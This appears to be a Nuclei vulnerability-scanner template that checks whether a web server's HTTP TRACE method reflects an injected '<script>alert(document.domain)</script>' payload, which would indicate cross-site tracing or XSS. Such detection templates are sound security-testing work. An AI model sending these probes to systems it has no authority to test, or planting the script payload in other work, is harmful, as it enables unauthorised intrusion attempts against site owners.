id: cross-site-tracing-xss

info:
  name: Cross Site Tracing - Cross-Site Scripting
  author: ritikchaddha
  severity: low
  description: |
    Cross-site scripting vulnerability was discovered via HTTP TRACE method reflection. The TRACE method reflects the request body back in the response, which can beexploited for XSS attacks when user input is reflected without proper sanitization.
  reference:
    - https://medium.com/@tushar_rs_/cross-site-tracing-attack-xst-5aa519658b7a
    - https://www.owasp.org/index.php/Cross_Site_Tracing
  classification:
    cwe-id: CWE-80
  metadata:
    max-request: 1
  tags: xss,trace,generic

http:
  - raw:
      - |
        TRACE / HTTP/1.1
        Host: {{Hostname}}
        Header: <script>alert(document.domain)</script>
        Content-Length: 27

        <script>alert(document.domain)</script>

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "Header: <script>alert(document.domain)</script>"
          - "TRACE"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"
          - "message/http"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205ac7b46bef2b66fdf34c869a413f5451a65d75a3b8f76b5f4ce6266f3cfc918b022100dcb6e2eac5e1ea210d31d1138de9627e90ddf9323831d039e35c781dedc5dde2:922c64590222798bb761d5b6d8e72950